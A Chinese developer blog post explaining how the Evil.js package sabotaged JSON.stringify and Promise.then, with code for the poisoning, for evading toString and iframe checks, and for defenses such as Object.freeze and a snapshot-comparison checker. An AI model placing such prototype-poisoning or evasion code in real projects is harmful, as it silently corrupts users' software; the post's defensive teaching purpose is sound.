🧐 怎么防止同事用Evil.js的代码投毒

阿轩的BUG
文章191
评论56
标签101
站点日志
作者总数:1位
置顶文章:0篇
标签总数:101条
文章总数:196篇
评论总数:56条
微语总数:149条
运行天数:2314天
最近更新:2024-09-30
文章标签
最新评论
Sherlock
2025-08-21
不是应该打包成apk文件吗,怎么突然就运行编译了,下一步呢
老金er
2025-05-25
人生设计非常必要,在信息化发达的今天,周围大部分人依然只能过着人生工程模式生活,长时间生活洗礼后,尽管“人生工程”已经不再适合很多人,他们也无法做出任何改变,人生设计给我们提供了新的思路,值得尝试
赏帮赚
2025-05-25
职场太多的尔虞我诈
三笑
2024-08-16
emlog6.0.1可以升级支持吗?
pony
2024-07-08
这篇文章提供了一种新的人生规划方法——"人生设计",它借鉴了产品设计的理念,鼓励人们以创造性和探索性的方式思考和规划自己的生活。以下是对这篇文章的几个评价维度: 创新性:将产品设计的理念应用于人生规划是一个新颖的视角,为人们提供了一种跳出传统生活轨迹,探索个性化生活路径的方法。 实用性:文章不仅提出了理念,还详细介绍了具体的实施步骤,包括自我评估、制定计划、原型设计和实践选择等,具有很强的操作性。 启发性:通过强调好奇心、不断尝试、重新定义问题等心态,文章鼓励人们打破常规,勇于探索未知,这对于激发个人潜能和创造力具有积极作用。 适应性:"人生设计"理念适用于不同人生阶段和不同背景的人,无论是希望从头开始的人,还是已经取得一定成就但希望探索新方向的人,都可以从中获得启发。 情感共鸣:文章对许多人对传统生活轨迹的不满和对改变的渴望进行了深刻的洞察,能够引起读者的共鸣。 可持续性:人生设计强调的是一个持续迭代和试错的过程,这与现实生活的发展规律相吻合,有助于人们在不断变化的环境中做出适应性调整。 教育意义:作为一种人生规划方法,"人生设计"可以作为教育的一部分,帮助年轻人更早地学会自我探索和规划,为未来的生活和职业发展打下基础。 局限性:尽管"人生设计"提供了一种新的思考框架,但它可能需要个人具备一定的自我认知和反思能力,对于一些缺乏自我探索经验的人来说,可能需要额外的指导和支持。 总体来说,这篇文章提供了一种有价值的人生规划方法,对于那些渴望改变、寻求个性化生活的人来说,是一种有益的参考和指导。
首页实用干货 🌋

最近Evil.js被讨论的很多,项目介绍如下

2022-08-22-16-17-24.png

项目被发布到npm上后,引起了激烈的讨论,最终因为安全问题被npm官方移除,代码也闭源了

作为一个前端老司机,我肯定是反对这种行为,泄私愤有很多种方式,代码里下毒会被git log查到,万一违法了,还不如离职的时候给老板一个大逼兜来的解恨

今天我们来讨论一下,如果你作为项目的负责人,如何甄别这种代码下毒

下毒手法

最朴实无华的下毒手法就是直接替换函数,比如evil.js中,给JSON.stringify下毒了,把里面的I换成了l ,每周日prmise的then方法有10%的概率不触发,只有周日能触发着实有点损了, 并且npm的报名就叫lodash-utils,看起来确实是个正经库,结果被下毒

function isEvilTime(){
  return new Date().getDay() === 0 && Math.random() < 0.1 
}
const _then = Promise.prototype.then
Promise.prototype.then = function then(...args) {
  if (isEvilTime()) {
    return
  } else {
    _then.call(this, ...args)
  }
}

const _stringify = JSON.stringify
JSON.stringify = function stringify(...args) {
  return _stringify(...args).replace(/I/g, 'l') 
}
console.log(JSON.stringify({name:'Ill'})) // {"name":"lll"}

检测函数toString

检测函数是否被原型链投毒,我首先想到的方法就是检测代码的toString,默认的这些全局方法都是内置的,我们在命令行里执行一下

2022-08-22-16-17-49.png

我们可以简单粗暴的检查函数的toString

function isNative(fn){
  return fn.toString() === `function ${fn.name}() { [native code] }`
}

console.log(isNative(JSON.parse)) // true
console.log(isNative(JSON.stringify)) // false

不过我们可以直接重写函数的toString方法,返回native这几个字符串,就可以越过这个检查

JSON.stringify = ...
JSON.stringify.toString = function(){
  return `function stringify() { [native code] }`
}
function isNative(fn){
  return fn.toString() === `function ${fn.name}() { [native code] }`
}
console.log(isNative(JSON.stringify)) // true

iframe

我们还可以在浏览器里通过iframe创建一个被隔离的window, iframe被加载到body后,获取iframe内部的contentWindow

let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:'Illl'}))  // '{"name":"Illl"}'

这种解决方案对运行环境有要求,iframe只有浏览器里才有, 而且攻击者够聪明的话,iframe这种解决方案也可以被下毒,重写appendChild函数,当加载进来的标签是iframe的时候,重写contentWindow的stringify方法

const _stringify = JSON.stringify
let myStringify = JSON.stringify = function stringify(...args) {
  return _stringify(...args).replace(/I/g, 'l')
}

// 注入
const _appenChild = document.body.appendChild.bind(document.body)
document.body.appendChild = function(child){
  _appenChild(child)
  if(child.tagName.toLowerCase()==='iframe'){
    // 污染
    iframe.contentWindow.JSON.stringify = myStringify
  }
}

// iframe被污染了
let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log(cleanJSON.stringify({name:'Illl'}))  // '{"name":"llll"}'

node 的vm模块

node中也可以通过vm模块创建一个沙箱来运行代码,教程可以看这里,不过这对我们代码的入侵性太大了,适用于发现bug后的调试某段具体的代码,并且没法再浏览器里直接用

const vm = require('vm')

const _stringify = JSON.stringify
JSON.stringify = function stringify(...args) {
  return _stringify(...args).replace(/I/g, 'l')
}
console.log(JSON.stringify({name:'Illl'}))
let sandbox = {}
vm.runInNewContext(`ret = JSON.stringify({name:'Illl'})`,sandbox)
console.log(sandbox)

ShadowRealm API

TC39有一个新的ShadowRealm api,已经stage3了,可以手动创建一个隔离的js运行环境,被认为是下一代微前端的利器,不过现在兼容性还不太好,代码看起来有一丢丢像eval,不过和vm的问题一样,需要我们指定某段代码执行

更多ShadowRealm的细节可以参考贺老的这个回答 如何评价 ECMAScript 的 ShadowRealm API 提案

const sr = new ShadowRealm()
console.log( sr.evaluate(`JSON.stringify({name:'Illl'})`) )

Object.freeze

我们还可以项目代码的入口处,直接用Object.freeze冻住相关函数,确保不会被修改, 所以下面的代码会打印出{"name":"Illl"},但是有些框架会对原型链进行适当的修改(比如Vue2里对数组的处理),而且我们在修改stringify失败的时候没有任何提醒,所以此方法也慎用,可能会导致你的项目里有bug


!(global => { 
  // Object.freeze(global.JSON)
  ;['JSON','Date'].forEach(n=>Object.freeze(global[n]))
  ;['Promise','Array'].forEach(n=>Object.freeze(global[n].prototype))
})((0, eval)('this'))
// 下毒
const _stringify = JSON.stringify
let myStringify = JSON.stringify = function stringify(...args) {
  return _stringify(...args).replace(/I/g, 'l')
}

// 使用
console.log(JSON.stringify({name:'Illl'}))

备份检测

还有一个很简单的方法,实用性和兼容性都适中,我们可以在项目启动的一开始,就备份一些重要的函数,比如Promise,Array原型链的方法,JSON.stringify、fetch、localstorage.getItem等方法, 然后在需要的时候,运行检测函数, 判断Promise.prototype.then和我们备份的是否相等,就可以甄别出原型链有没有被污染 ,我真是一个小机灵

首先我们要备份相关函数,由于我们需要检查的不是很多,就不需要对window进行遍历了,指定几个重要的api函数,都存在了_snapshots对象里

// 这段代码一定要在项目的一开始执行
!(global => { 
  const MSG = '可能被篡改了,要小心哦'
  const inBrowser = typeof window !== 'undefined'
  const {JSON:{parse,stringify},setTimeout,setInterval} = global
  let _snapshots = {
    JSON:{
      parse,
      stringify
    },
    setTimeout,
    setInterval,
    fetch
  }
  if(inBrowser){
    let {localStorage:{getItem,setItem},fetch} = global
    _snapshots.localStorage = {getItem,setItem}
    _snapshots.fetch = fetch
  }
})((0, eval)('this'))

除了直接调用的JSON,setTimeout,还有Promise,Array等原型链上的方法,我们可以通过getOwnPropertyNames获取后,备份到_protytypes里,比如Promise.prototype.then 存储的结果就是

// _protytypes
{
  'Promise.then': function then(){ [native code]}
}
!(global => { 
  let _protytypes = {}
  const names = 'Promise,Array,Date,Object,Number,String'.split(",")

  names.forEach(name=>{
    let fns = Object.getOwnPropertyNames(global[name].prototype)
    fns.forEach(fn=>{
      _protytypes[`${name}.${fn}`] = global[name].prototype[fn]
    })
  })
  console.log(_protytypes)
})((0, eval)('this'))

2022-08-22-16-19-28.png

然后我们在global上注册一个检测函数checkNative就可以啦,存储在_snapshot和_prototype里的内容,嘎嘎遍历出来,和当前运行时获取的JSON,Promise.prototype.then对比就可以啦,而且我们有了备份, 还可以加一个reset参数,直接把污染的函数还原回去

代码比较粗糙,大家凑合看,函数也就两层嵌套,不整递归了,直接暴力循环 ,欢迎有志之士优化

global.checkNative = function (reset=false){
  for (const prop in _snapshots) {
    if (_snapshots.hasOwnProperty(prop) && prop!=='length') {
      let obj = _snapshots[prop]
      // setTimeout顶层的
      if(typeof obj==='function'){
        const isEqual = _snapshots[prop]===global[prop]
        if(!isEqual){
          console.log(`${prop}${MSG}`)
          if(reset){
            window[prop] = _snapshots[prop]
          }
        }
      }else{
        // JSON这种还有内层api
        for(const key in obj){
          const isEqual = _snapshots[prop][key]===global[prop][key]
          if(!isEqual){
            console.log(`${prop}.${key}${MSG}`)
            if(reset){
              window[prop][key] = _snapshots[prop][key]
            }
          }
        }
      }

    }
  }

  // 原型链
  names.forEach(name=>{
    let fns = Object.getOwnPropertyNames(global[name].prototype)
    fns.forEach(fn=>{
      const isEqual = global[name].prototype[fn]===_protytypes[`${name}.${fn}`]
      if(!isEqual){
        console.log(`${name}.prototype.${fn}${MSG}`)
        if(reset){
          global[name].prototype[fn]=_protytypes[`${name}.${fn}`]
        }
      }
    })
  })
}

我们测试一下代码,可以看到checkNative传递reset是true后,打印且重置了我们污染的函数,JSON.stringify的行为也符合我们的预期

<script src="./anti-evil.js"></script>
<script src="./evil.js"></script>
<script>
function isNative(fn){
  return fn.toString() === `function ${fn.name}() { [native code] }`
}
let obj = {name:'Illl'}
console.log(obj)
console.log('isNative',isNative(JSON.stringify))
console.log('被污染了',JSON.stringify(obj)) 

let iframe = document.createElement('iframe')
iframe.style.display = 'none'
document.body.appendChild(iframe)
let {JSON:cleanJSON} = iframe.contentWindow
console.log('iframe也被污染了',cleanJSON.stringify(obj)) 
console.log('*'.repeat(20))

checkNative(true)
console.log('checkNative重置了',JSON.stringify(obj)) 
</script>

2022-08-22-16-19-46.png

2022-08-22-20-11-22.png

上一篇
🤡 服务器拒绝了我的ssh免密登录
下一篇
⚗️ 优秀后端都应该具备的开发好习惯